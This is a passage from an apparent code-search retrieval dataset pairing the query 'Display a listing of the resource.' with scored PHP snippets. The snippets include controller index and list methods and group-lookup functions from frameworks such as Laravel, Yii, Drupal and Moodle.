$group)\r\n\t\t{\r\n\t\t\t$this->group($this->format($group, $format), $group->$field);\r\n\t\t} \r\n\t}", "title": "" }, { "docid": "af6841ed516fb0c496bd0fe916af554a", "score": "0.5026313", "text": "public function getParentGroupsIds(): array {\n $group = $this->getParentGroup();\n $parents = [];\n while ($group !== null) {\n $parents[] = $group->getId();\n $group = $group->getParentGroup();\n }\n\n return array_values(array_reverse($parents));\n }", "title": "" }, { "docid": "a9c51f49b42c41dfabbd91c1cd7f7943", "score": "0.5025045", "text": "public function getGroups(){\n $this->getGroupIds();\n \n // Return the array of group objects\n $result = Group::find($this->_groups);\n \n $groups = [];\n foreach ($result as $group){\n $groups[$group->id] = $group;\n }\n return $groups; \n }", "title": "" }, { "docid": "7b38a0659f90de4bd722b45dfbea8383", "score": "0.50203204", "text": "function cluster_groups_grouping_helper($clusterid, $name) {\n global $CFG, $CURMAN;\n\n if(!empty($CFG->enablegroupings) &&\n !empty($CURMAN->config->cluster_groupings) &&\n cluster_groups_grouping_allowed($clusterid)) {\n\n //determine if flagged as grouping\n $contextlevel = context_level_base::get_custom_context_level('cluster', 'block_curr_admin');\n $contextinstance = get_context_instance($contextlevel, $clusterid);\n $data = field_data::get_for_context($contextinstance);\n\n //retrieve grouping\n $grouping = groups_get_grouping_by_name(SITEID, $name);\n\n //obtain the grouping record\n if(empty($grouping)) {\n $grouping = new stdClass;\n $grouping->courseid = SITEID;\n $grouping->name = addslashes($name);\n $grouping->id = groups_create_grouping($grouping);\n } else {\n $grouping = groups_get_grouping($grouping);\n }\n\n //obtain the child cluster ids\n $child_clusters = cluster_groups_get_child_clusters($clusterid);\n\n //add appropriate cluster-groups to the grouping\n foreach($child_clusters as $child_cluster) {\n if($cluster_record = get_record(CLSTTABLE, 'id', $child_cluster)) {\n if($child_cluster_group = groups_get_group_by_name(SITEID, $cluster_record->name)) {\n if(cluster_groups_grouping_allowed($cluster_record->id)) {\n groups_assign_grouping($grouping->id, $child_cluster_group);\n }\n }\n\n }\n }\n }\n}", "title": "" }, { "docid": "53af39a22f2ca0b310fa6fb8ffecba27", "score": "0.5012103", "text": "public static function getGroupContentIds(EntityInterface $entity, array $entity_types = []) {\n $group_content = [];\n\n // Retrieve the fields which reference our entity type and bundle.\n $query = \\Drupal::entityQuery('field_storage_config')\n ->condition('type', OgGroupAudienceHelper::GROUP_REFERENCE);\n\n // Optionally filter group content entity types.\n if ($entity_types) {\n $query->condition('entity_type', $entity_types, 'IN');\n }\n\n /** @var \\Drupal\\field\\FieldStorageConfigInterface[] $fields */\n $fields = array_filter(FieldStorageConfig::loadMultiple($query->execute()), function (FieldStorageConfigInterface $field) use ($entity) {\n $type_matches = $field->getSetting('target_type') === $entity->getEntityTypeId();\n // If the list of target bundles is empty, it targets all bundles.\n $bundle_matches = empty($field->getSetting('target_bundles')) || in_array($entity->bundle(), $field->getSetting('target_bundles'));\n return $type_matches && $bundle_matches;\n });\n\n // Compile the group content.\n foreach ($fields as $field) {\n $group_content_entity_type = $field->getTargetEntityTypeId();\n\n // Group the group content per entity type.\n if (!isset($group_content[$group_content_entity_type])) {\n $group_content[$group_content_entity_type] = [];\n }\n\n // Query all group content that references the group through this field.\n $results = \\Drupal::entityQuery($group_content_entity_type)\n ->condition($field->getName() . '.target_id', $entity->id())\n ->execute();\n\n $group_content[$group_content_entity_type] = array_merge($group_content[$group_content_entity_type], $results);\n }\n\n return $group_content;\n }", "title": "" }, { "docid": "0678b114fc2587fab2ad30a72bd1eee3", "score": "0.5011126", "text": "abstract public function get_ids();", "title": "" }, { "docid": "ec12207b76e79456b139abc669b73891", "score": "0.49974433", "text": "public function getGrupoIds() {\n\t\treturn $this->Session->read('UserAuth.Usuario.grupo_id');\n\t}", "title": "" }, { "docid": "ecdfc92a9774328afffd453a650e5373", "score": "0.49958292", "text": "private function getGroupTypes() {\n $containers = [];\n $group_types = $this->entityTypeManager->getStorage('group_type')->loadMultiple();\n foreach ($group_types as $type) {\n $roles = $this->getGroupRoles($type->id());\n if (!empty($roles)) {\n $containers[$type->id()] = [\n 'label' => $type->label(),\n 'roles' => $roles,\n ];\n }\n }\n\n return $containers;\n }", "title": "" }, { "docid": "a63e03328004c1bf8be95bd4b4b5b4db", "score": "0.49929968", "text": "abstract public function getGroups() : array;", "title": "" }, { "docid": "2df79361b42bf1410d144bdc74341480", "score": "0.49814013", "text": "public function get_group_list($with_count = FALSE)\n {\n $db = cmsms()->GetDb();\n $query = 'SELECT * FROM '.cms_db_prefix().'module_feusers_groups';\n if( $with_count ) {\n $query = 'SELECT g.*,count(b.userid) AS count FROM '.cms_db_prefix().'module_feusers_groups g\n LEFT JOIN '.cms_db_prefix().'module_feusers_belongs b\n ON g.id = b.groupid\n GROUP BY g.id';\n }\n $dbr = $db->GetArray($query);\n if( is_array($dbr) && count($dbr) ) {\n $tmp = array();\n foreach( $dbr as $one ) {\n $tmp[$one['id']] = $one;\n }\n return $tmp;\n }\n return $dbr;\n }", "title": "" }, { "docid": "0470bf047cafd3b920df283cc1e48477", "score": "0.49798992", "text": "public function getGroups() {\n\t\t$groups = array();\n\t\tforeach ( $this->class_groups as $name ) {\n\t\t\t$name_lc = $name . '_lc';\n\t\t\t$groups[ $name ] = array(\n\t\t\t\t'classes' => $this->$name_lc,\n\t\t\t);\n\t\t}\n\n\t\treturn $groups;\n\t}", "title": "" }, { "docid": "fbdebe72a7955f1f585a72e8cbc15ad9", "score": "0.49788192", "text": "function get_grouping_fields() {\n return array(\n new table_report_grouping('user_id','u.id',\n get_string('grouping_studentname', $this->langfile),\n 'ASC', array(), 'above', 'u.lastname ASC'),\n new table_report_grouping('user_idnumber','u.idnumber',\n get_string('grouping_idnumber', $this->langfile), 'ASC')\n );\n }", "title": "" }, { "docid": "2553ac035956bcd08de2c9a49ac8a911", "score": "0.49776384", "text": "function getCatID($modcatid = 0, $modid = 0)\r\n {\r\n \t$categories_link_handler = xoops_getmodulehandler('categories_link', 'tag');\r\n \t$criteria = new CriteriaCompo(new Criteria('tag_modcatid', $modcatid));\r\n \t$criteria->add(new Criteria('tag_modid', $modid));\r\n \tif ($categories_link_handler->getCount($criteria)==0)\r\n \t{\r\n \t\t$module_handler = xoops_gethandler('module');\r\n \t\t$mod = $module_handler->get($modid);\r\n \t\tif (is_file($plugin = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'plugin' . DIRECTORY_SEPARATOR . $mod->getVar('dirname') . '.php'))\r\n \t\t{\r\n \t\t\trequire_once $plugin;\r\n \t\t\tif (function_exists($func = $mod->getVar('dirname') . \"_tag_category\"))\r\n \t\t\t{\r\n \t\t\t\t$cat = $func($modcatid);\r\n \t\t\t\treturn self::addCategory($cat['term'], $cat['catid'], $cat['parentid'], $mod);\r\n \t\t\t}\r\n \t\t}\r\n \t} else {\r\n \t\t$catlinkobjs = $categories_link_handler->getObjects($criteria);\r\n \t\tif (!empty($catlinkobjs[0]))\r\n \t\t\treturn $catlinksobjs[0]->getVar('tag_catid');\r\n \t}\r\n }", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "469e18766b75d70d95ea69c6cf7994d5", "score": "0.0", "text": "public function index()\n {\n $query = AdmInputs::\n select(\n 's.title AS source',\n 'i.*'\n )\n ->from('adm_inputs AS i')\n ->leftJoin('adm_sources AS s', 's.id', 'i.source_id')\n // ->where('s.area_id', request()->area_id);\n ->where('s.area_id', session('area_id'));\n\n if(request()->get('today')){\n $date = date('Y-m-d', time());\n // dd($date);\n $query = $query\n ->whereBetween('i.created_at', [$date.' 00:00:00', $date.' 23:59:59']);\n }\n \n return $query->get();\n }", "title": "" } ]
[ { "docid": "edfccc7675941363f15cdfa73ea568e7", "score": "0.79342735", "text": "public function listAction() {\n\t\t$resourceRecords = $this->repository->findAll();\n\t\t$this->view->assign('content', array(EmberDataUtility::uncamelizeClassName($this->modelName) => $resourceRecords));\n\t}", "title": "" }, { "docid": "fa0267b7eb5f572a15c8a1270ccd60d0", "score": "0.7552338", "text": "public function index() {\n\t\t\n\t\t$this->_listing();\n\t\t$this->set('listing', true);\n\t\t\n\t}", "title": "" }, { "docid": "3119bf4433b0eb6e1e5f5d3aefff8f7c", "score": "0.74976325", "text": "public function listAction()\n {\n header('Content-Type: application/json');\n echo json_encode(self::list($this->table, $_GET, $_GET), JSON_PRETTY_PRINT);\n }", "title": "" }, { "docid": "9af3930a12c4c5b442756b7bbd305ff2", "score": "0.74330676", "text": "public function index()\n {\n $resources = Resource::paginate(env('ROW_PER_PAGE', 10));\n \n return view('resource.index', compact('resources'));\n }", "title": "" }, { "docid": "89a4eb97a6ee51605109f42462c1473d", "score": "0.734927", "text": "public function list() {\n \t\treturn show();\n \t}", "title": "" }, { "docid": "7d3d5ea98fecbcdaa728156240d52501", "score": "0.73178124", "text": "public function index()\n\t{\n\t\t$resources = $this->getResourceRepository()->findAllPaginated()->toArray();\n\n return $this->apiResponse->success($resources['data'], 200, array_except($resources, 'data'));\n\t}", "title": "" }, { "docid": "f1e5379dd522597ce7ba432e2ed2c9f6", "score": "0.72631985", "text": "public function index()\n {\n $resources = QueryBuilder::for(Resource::class)\n ->allowedFilters('name')\n ->defaultSort('name')\n ->allowedSorts(['name', 'description'])\n ->paginate(15);\n\n return view('resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.72478926", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "db140407717335f4b2c74a2a874b1895", "score": "0.7210918", "text": "public function listAction()\n {\n return view(\n 'item.list',\n [\n 'items' => $this -> itemService -> findAll()\n ]\n );\n }", "title": "" }, { "docid": "d1b35503fce76775fd4a174b9c6da027", "score": "0.7168305", "text": "public function index()\n {\n return ListsResource::collection(RecipeList::all());\n }", "title": "" }, { "docid": "0e190fa7a00dd0393b6c0e0a91b52874", "score": "0.71333236", "text": "public function listingAction()\n\t{\n\t\t// Render\n\t\t$this->_helper->content->setNoRender ()->setEnabled ();\n\t}", "title": "" }, { "docid": "9ee2301bbe5ddd99bc48b5c1f13682d6", "score": "0.7125178", "text": "public static function list()\n {\n $books = Book::findAll();\n\n // 2. Return/include de la view\n include(__DIR__ . '/../views/books/list.php');\n }", "title": "" }, { "docid": "1a06e6a067265c84505e916acc162f51", "score": "0.71211576", "text": "public function index()\n {\n if ($this->paginate) {\n $data = $this->repository->paginate();\n $data = [\n 'data' => $this->resource::collection($data->items()),\n 'per_page' => $data->perPage(),\n 'total' => $data->total(),\n ];\n } else {\n $data = $this->resource::collection($this->repository->all());\n }\n\n return Responder::respond($data);\n }", "title": "" }, { "docid": "b7a2e5efe030ad0454c4edd967fd4922", "score": "0.7078434", "text": "public function actionList()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Listing::find(),\n 'pagination' => $this->module->config['pagination'],\n ]);\n $output = $this->render('list', ['listDataProvider' => $dataProvider]);\n return $output;\n }", "title": "" }, { "docid": "3e3e55306112133885a7b05b73618ea6", "score": "0.70725244", "text": "public function index()\n {\n $resources = QueryBuilder::for(Resource::class)\n ->allowedFilters(['name', 'is_facility', 'categories.id', 'groups.id'])\n ->defaultSort('name')\n ->allowedSorts(['name', 'description', 'is_facility'])\n ->paginate(15);\n\n session()->flash('index-referer-url', request()->fullUrl());\n\n return view('resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "b17b9fb097e089099f7de5f26809b8cb", "score": "0.7014123", "text": "public function index()\n {\n $listings = Listing::all();\n\n return ListingResource::collection($listings);\n }", "title": "" }, { "docid": "a856150f3c67d1457d548f91c75da7da", "score": "0.70038116", "text": "public function index()\n {\n // redirect($this->_url(\"all\"));\n $this->_create_list();\n $this->data['page'] = 'all';\n\n $this->_display();\n }", "title": "" }, { "docid": "8fd9118c1a1310924ffd107785f594c8", "score": "0.6988677", "text": "public function index()\n {\n return ItemListResource::collection(ItemList::where('created_by', Auth::user()->id)->orderBy('order')->get());\n }", "title": "" }, { "docid": "b3c2545a4d088004de8ba6c9a86879be", "score": "0.6960206", "text": "public function showList()\r\n\t{\r\n\t\t$this->items = $this->itemRepo->getAll();\r\n\t}", "title": "" }, { "docid": "acacf315b0baff673a36b2ca7e24d31e", "score": "0.69519275", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'asc')->get();\n return view('resources.index', compact('resources'));\n }", "title": "" }, { "docid": "c2135d6cafa652d036ae3308bd00e68c", "score": "0.69507635", "text": "public function listAction() {\r\n\t\t// Setup DataSource\r\n\t\t$this->_setupDataSource();\r\n\t\t// Setup Grid\r\n\t\t$this->_setupGrid();\r\n\t\t// Build Grid\r\n\t\t$this->_grid->buildTable();\r\n\t\t\r\n\t\t// Setup View Script\r\n\t\t$this->_helper->viewRenderer($this->_listScript);\r\n\t\t$this->view->grid = $this->_grid;\r\n\t\t$this->view->addLink = array('action' => 'add');\r\n\t\t$this->view->moduleName = $this->_moduleName;\r\n\t}", "title": "" }, { "docid": "65fbe1cd513c1906884a8cf3b31fcaf5", "score": "0.69496506", "text": "public function list ()\n {\n $this->jsonResponse($this->model->findAll());\n }", "title": "" }, { "docid": "7982715eae8987f6e04898265db32a84", "score": "0.6934365", "text": "public function index()\n {\n $this->crud->hasAccessOrFail('list');\n\n $this->data['crud'] = $this->crud;\n $this->data['title'] = ucfirst($this->crud->entity_name_plural);\n\n // get all entries if AJAX is not enabled\n if (! $this->data['crud']->ajaxTable()) {\n $this->data['entries'] = $this->amcRepository->all();\n }\n \n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getListView(), $this->data);\n }", "title": "" }, { "docid": "f9880ebe5ebd32a272f9c257eefeb7d5", "score": "0.69080645", "text": "public function index()\n {\n $query = Resource::orderBy(\"name\");\n $paginate = new PaginateService($query);\n\n $this->data->resources = $paginate->data();\n $this->data->paging = $paginate->paging();\n\n if(Request::ajax())\n {\n return $this->json();\n }\n return $this->view();\n }", "title": "" }, { "docid": "1965f3d513e903b06cfd331567a24845", "score": "0.6895095", "text": "public function index()\n\t{\n\t\t$resources = $this->resource->get();\n\t\treturn \\Response::json($resources);\n\t}", "title": "" }, { "docid": "787a91f5c43faa5eaa05845dd5ea7560", "score": "0.68846714", "text": "public function index()\n {\n $resources = Resource::all();\n\n return view('admin.resources.index', ['resources' => $resources]);\n }", "title": "" }, { "docid": "4b7e3c233f60e23a7dbb5f593395b76c", "score": "0.6871577", "text": "public function actionIndex() {\r\n\t\t$this -> toPage('list');\r\n\t}", "title": "" }, { "docid": "d1036519a5edd84e78f3b5c9d42b2f9c", "score": "0.6861071", "text": "public function index() {\n\t\treturn \\Response::view('git/listing');\n\t}", "title": "" }, { "docid": "00a08afebd209b80aaef61ff37d6a46b", "score": "0.6853615", "text": "public function index()\n {\n //get records\n $records = Record::paginate(15);\n\n //return collection of records as a resource\n return RecordResource::collection($records);\n\n }", "title": "" }, { "docid": "7df5491fbb664c953c7e5dff4627f1cc", "score": "0.68314284", "text": "public function index()\n {\n $resources = QueryBuilder::for(Resource::class)\n ->allowedFilters(['name', 'is_facility', 'categories.id', 'groups.id'])\n ->defaultSort('name')\n ->allowedSorts(['name', 'description'])\n ->paginate(15);\n\n return new ResourceCollection($resources);\n }", "title": "" }, { "docid": "ac58f83d1b859c8f0c9d002437cb5caa", "score": "0.6806778", "text": "public function index()\n {\n $resources = Resource::get();\n return view('resources.index', ['resources'=>$resources]);\n }", "title": "" }, { "docid": "abaacf9f1fa05faf4fd840689138551b", "score": "0.68013006", "text": "public function index()\n {\n $user = Auth::user();\n\n $recipes = Recipe::where('user_id', $user->id)\n ->orWhere('is_public', true)\n ->paginate(15);\n\n return new CompactRecipeListResource($recipes);\n }", "title": "" }, { "docid": "81a151b5e0337d96155cd41441de4eb3", "score": "0.67928314", "text": "public function index()\n {\n\n $items = Items::paginate(12);\n return ItemsResource::collection($items);\n }", "title": "" }, { "docid": "998c769364dc4c666498430759971c31", "score": "0.67716223", "text": "public function actionIndex()\n {\n // init Active Record\n $query = new UserRecords();\n\n // set current page and offset\n $page = (int)$this->request->query->get('page', 0);\n $offset = $page * self::ITEM_PER_PAGE;\n\n // build pagination\n $pagination = new SimplePagination([\n 'url' => ['user/index'],\n 'page' => $page,\n 'step' => self::ITEM_PER_PAGE,\n 'total' => $query->count()\n ]);\n\n // build listing objects\n $records = $query->orderBy('id', 'desc')->skip($offset)->take(self::ITEM_PER_PAGE)->get();\n\n // display viewer\n return $this->view->render('index', [\n 'records' => $records,\n 'pagination' => $pagination\n ]);\n }", "title": "" }, { "docid": "e33620f9e0602f70ef6cab4f1bdb2610", "score": "0.67710763", "text": "public function index()\n\t{\n\t\t$this->listar();\n\t}", "title": "" }, { "docid": "c2cb369270f6fcd0fe01f7c05c39893d", "score": "0.6771036", "text": "public function index()\n {\n \t$staff = Staff::paginate(50);\n \treturn StaffResources::collection($staff);\n }", "title": "" }, { "docid": "6d38830f96381c6d3f6705200be0b0ce", "score": "0.6769593", "text": "public function Index() {\n\t\t$list = call_user_func(array($this->model(), 'find'));\n $this->render($this->model().'/index', compact('list'));\n\t}", "title": "" }, { "docid": "928b1775fb4733a239dae4530b7ef807", "score": "0.6768928", "text": "public function listAction()\n {\n $bookList= new Library_Model_ListBooks();\n //bekome a array of books\n $books = $bookList->listBooks($this->_getParam('page', 1));\n \n $this->view->books = $books;\n //apply the paginator to our view\n if(!$this->_request->isXmlHttpRequest()){\n //problem with getPaginator\n $this->view->paginator = $bookList->getPaginator();\n } else {\n $this->view->currentPage = $bookList->getPaginator()->getCurrentPageNumber();\n }\n }", "title": "" }, { "docid": "226f4470a6f32302edcfa713291233ee", "score": "0.67669094", "text": "public function listAction()\n {\n $this->view->persons = PersonCatalog::getInstance()->getActives();\n $this->setTitle('List the Person');\n }", "title": "" }, { "docid": "587f352425474ce109a45e636208d7d7", "score": "0.67461246", "text": "public function list()\n {\n return response()->json($this->listAction->run());\n }", "title": "" }, { "docid": "e350e7299f802c9cf32b414dc945ac34", "score": "0.6743188", "text": "public function listAction()\n {\n try {\n $connection = GeneralUtility::makeInstance(\\Mahu\\SearchAlgolia\\Connection\\Algolia\\Connection::class, $this->configManager);\n $this->client = $connection->getClient();\n $remoteIndexList = $this->getRemoteIndexList();\n $localIndexList = $this->getLocalIndexList();\n\n $this->logService = GeneralUtility::makeInstance(Log::class);\n $logContent = $this->logService->getLogContent();\n } catch (AlgoliaConnectionException $e) {\n $this->view->assignMultiple(['algoliaException' => $e->getMessage()]);\n } catch (\\RuntimeException $e) {\n $this->view->assignMultiple(['logException' => $e->getMessage()]);\n }\n\n $this->view->assignMultiple(\n [\n 'remoteIndexList' => $remoteIndexList,\n 'localIndexList' => $localIndexList,\n 'logContent' => $logContent\n ]\n );\n }", "title": "" }, { "docid": "04105211a75ba7457c72346a442bef90", "score": "0.6742193", "text": "function Index()\n\t\t{\n\t\t\t$this->DefaultParameters();\n\t\t\t\r\n\t\t\t$parameters = array('num_rows');\r\n\t\t\t$this->data[$this->name] = $this->controller_model->ListItemsPaged($this->request->get, '', $parameters);\r\n\t\t\t$this->data['num_rows'] = $parameters['num_rows'];\n\t\t}", "title": "" }, { "docid": "1fe41c52dd75a6340ba0e7415a6acc25", "score": "0.67415196", "text": "public function index()\n {\n return TodoResource::collection(Todo::paginate(10));\n }", "title": "" }, { "docid": "f5b2a3a3d01e82cedd6efa95f22e9cec", "score": "0.67290956", "text": "public function index()\n {\n return ContactListResource::collection(Contact::all()->paginate(25));\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.67255723", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "106d7df8332c0494258eddc388469da7", "score": "0.6723481", "text": "public function index()\n {\n //Get employees\n $employees = employees::paginate(15);\n\n //return the collection of employees as a resource\n return employeeResource::collection($employees);\n\n\n }", "title": "" }, { "docid": "b3dfa38d778d7b973135f3c279d4eed4", "score": "0.6716988", "text": "public function index()\n\t{\n $model = $this->model;\n $resources = $model::all();\n\t\treturn Response::api(['resources' => $resources]);\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "a8928e5ccc1f4e236f4a00c06b0a7026", "score": "0.6702476", "text": "public function index()\n\t{ \n // Carga el modelo de 'ResourceTypes' para sacar el nombre del tipo de recurso\n $this->loadModel('ResourceTypes'); \n $this->set('resource_types', $this->ResourceTypes->find('all'));\n \n // Consulta Join de recursos con usuarios, saca los recursos asociados al admin\n $query = $this->Resources->find('all');\n $query->innerJoinWith('Users', function ($q)\n {\n return $q->where(['Users.id' => $this->Auth->User('id')]);\n }\n );\n \n // Pagina la tabla de recursos\n $this->set('resources', $this->paginate($query));\n\t}", "title": "" }, { "docid": "b754e829a1afcf5e226b9dd05f87f2e6", "score": "0.66960615", "text": "public function index()\n {\n $this->setResources();\n\n $modelResource = new $this->Model;\n\n $filter = Input::get('filter');\n\n $perPage = Input::get('per_page');\n\n $sort = Input::get('sort');\n\n if ($perPage) $modelResource->setPerPage($perPage);\n\n $filterBy = $modelResource->getFilterBy();\n\n $sortBy = $modelResource->getSortBy() ?: $filterBy;\n\n $sort = $sort ? explode('|', $sort) : [$sortBy, 'asc'];\n\n if (!$filter) {\n return new $this->ResourceCollection(\n $modelResource::orderBy($sort[0], $sort[1])->paginate()\n );\n }\n\n $filter = DB::table('companies')->where('razao_social', 'like', \"%$filter%\")->first()->id;\n\n return new $this->ResourceCollection(\n $modelResource::where(\"$filterBy\", \"$filter\")\n ->orderBy($sort[0], $sort[1])\n ->paginate()\n );\n }", "title": "" }, { "docid": "a10ee9720f3882f9615dc6bd39bf66bb", "score": "0.6695142", "text": "public function index()\n {\n\n return OfferResource::collection(Offer::paginate(10));\n }", "title": "" }, { "docid": "7e86107f54f4f68d3d2ea122badfb72e", "score": "0.6693794", "text": "public function list() {\n include \"ROOT_PATH\" . \"../../../resource/views/user/list.php\";\n }", "title": "" }, { "docid": "d2a02cceaa38bd17888a8559051bf99d", "score": "0.669236", "text": "public function listAction(){\n // Current PO to show.\n $currentSupplier = $this->request->getQuery('supplier', 'int');\n // Pass the general parameters to the view.\n $this->view->setVar('title', 'Supplier #' . $currentSupplier);\n $this->view->setVar('subtitle', 'dat dat dat');\n // @todo::: Define controls.\n $this->view->setVar('show_submit', TRUE);\n $this->view->setVar('submit_text', 'Submit');\n $this->view->setVar('show_cancel', TRUE);\n $this->view->setVar('cancel_text', \"Cancel\");\n $this->view->setVar('main_form_id', '');\n $this->view->setVar('exit_to', $this->url->getBaseUri() . 'po/search');\n }", "title": "" }, { "docid": "a08b224cecded9fbbd98e9690a25697b", "score": "0.66899556", "text": "public function index()\n {\n return TodoResource::collection(Todo::orderBy('id', 'desc')->paginate());\n }", "title": "" }, { "docid": "3d5e84310d037c96dff096d60146afc3", "score": "0.6676491", "text": "public function index()\n {\n $storie = Stories::paginate(15);\n\n return StoriesResource::collection($storie);\n }", "title": "" }, { "docid": "c47e31fef88d7be6059d14e6bf3e7d3b", "score": "0.66763234", "text": "public function actionIndex()\n {\n $searchModel = new SearchListing();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "a0f9ca57ab7f1a43209181dea82c6087", "score": "0.6660814", "text": "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // data\n $data = $dataProvider->getData();\n\n // related data\n $relatedData = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersData = array();\n if (isset($_GET[$this->_model])) {\n $filtersData[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersData[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersData)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $data, $relatedData, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "title": "" }, { "docid": "d80bbdb874c0bc70baa157e026fd4ce0", "score": "0.66533667", "text": "public function listAction()\n {\n $resource = $this->Request()->getParam('resource');\n $limit = $this->Request()->getParam('limit', 25);\n $offset = ($this->Request()->getParam('page', 1) - 1) * $limit;\n\n /** @var \\Shopware\\Components\\MultiEdit\\Resource\\ResourceInterface $resource */\n $resource = $this->container->get('multi_edit.' . $resource);\n $result = $resource->listBackups($offset, $limit);\n $result['success'] = true;\n\n $this->View()->assign($result);\n }", "title": "" }, { "docid": "7b3f65d2cb517845002348a3fb676f3b", "score": "0.6651287", "text": "public function listAction()\n {\n\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "title": "" }, { "docid": "201d2cfcdf8daa4dcc0daec6874168cf", "score": "0.66492194", "text": "function listAction()\n {\n $this->_model->rec = $this->_db->getRec();\n $content = $this->_model->render(STUD_LIST_FILE);\n $this->_templete->content = $content;\n $output = $this->_templete->render(LAYOUT_FILE);\n $this->_fc->setBody($output);\n }", "title": "" }, { "docid": "eebcaa5492eb207e4f7b0028a584708b", "score": "0.6643269", "text": "public function index()\n {\n //\n return Resource::all();\n }", "title": "" }, { "docid": "7a84ee612e4a05b429aaef9c4ed361d6", "score": "0.6639994", "text": "public function ListAll()\n\t{\n\t\t\t\t\n\t\t$data['persons'] = $this->file->load();\n\n\t\t$data['token'] = $this->token->getNewToken();\n\n\t\t$template = View::make('../../templates/list',$data);\n\n\t\treturn $this->response->setContent($template->render());\n\t}", "title": "" }, { "docid": "972eaa033ae88bc016ccf77517a3335b", "score": "0.6634485", "text": "public function index() {\n\t\t\t$datas=DAO::getAll($this->model);\n\t\t\techo $this->responseFormatter->get($datas);\n\t}", "title": "" }, { "docid": "6a16c824a30ff8ee825dac92aef0bc07", "score": "0.66332036", "text": "function overview()\n {\n $data['files'] = $this->files->get_all();\n $this->view('content/files_list', $data);\n }", "title": "" }, { "docid": "cb88c28d2d3774b001750c6aab518891", "score": "0.6621152", "text": "public function list(): Response\n {\n // Récupération du Repository\n $repository = $this->getDoctrine()\n ->getRepository(Article::class);\n // Récupération de tous les articles\n $articles = $repository->findAll();\n // Renvoi des articles à la vue\n return $this->render('index.html.twig', [\n 'articles' => $articles\n ]);\n }", "title": "" }, { "docid": "b5a2dd04865acc0337c46650153e1a4d", "score": "0.66207755", "text": "public function actionList()\n {\n $sliders = Slider::find()\n ->withSlides()\n ->all();\n\n return $this->render('list', [\n 'sliders' => $sliders\n ]);\n }", "title": "" }, { "docid": "f7e69a4504c6eeedcb7bf68ebf86b14d", "score": "0.661989", "text": "public function index()\n {\n return ProviderResource::collection(Provider::paginate());\n }", "title": "" }, { "docid": "64b9fc22016f4b9a739c18a02478cdd0", "score": "0.66172355", "text": "public static function index()\r\n {\r\n $pagination = array(\r\n 'page' => 1,\r\n 'show' => 20\r\n );\r\n\r\n if (isset($_GET['page'])) {\r\n $pagination['page'] = intval($_GET['page']);\r\n }\r\n if (isset($_GET['show'])) {\r\n $pagination['show'] = intval($_GET['show']);\r\n }\r\n\r\n $params = array(\r\n 'action_list' => array(),\r\n 'app_list' => array()\r\n );\r\n $settings = array(\r\n 'action_list' => array(),\r\n 'app_list' => array(\r\n 'index' => 'id',\r\n 'flat' => true\r\n )\r\n );\r\n\r\n $params['action_list'] = array_merge($params['action_list'], $pagination);\r\n\r\n $list_action = api::query('action/list', $params['action_list'], $settings['action_list']);\r\n $list_app = api::query('app/list', $params['app_list'], $settings['app_list']);\r\n\r\n view::load('action/index', array(\r\n 'list' => $list_action,\r\n 'list_app' => $list_app\r\n ));\r\n }", "title": "" }, { "docid": "4b73ff248c275a450b6b06ae7c7d865d", "score": "0.6613253", "text": "public function index()\n {\n $question = QuestionResource::collection(Question::latest()->orderBy('created_at', 'desc')->get());\n if(!$question){\n\n return $this->errorResponse('Unable to display data', Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n return $this->successResponse('Sucessfully retrieved', $question);\n }", "title": "" }, { "docid": "15031eb36d46b41edbdfa84a0c42bb01", "score": "0.6612227", "text": "public function index() {\r\r\n $this->render('list', array(\r\r\n 'model' => SWarehousesQuery::create()->orderByName()->find()\r\r\n ));\r\r\n }", "title": "" }, { "docid": "35692a0ab217d82c0f91016d22be4979", "score": "0.6611719", "text": "public function indexAction()\n {\n\n $query = $this->getEntityManager()->getRepository($this->repository)->findAllQuery();\n\n\n $paginator = $this->get('knp_paginator');\n $pagination = $paginator->paginate($query, $this->get('request')->query->get('page', 1), 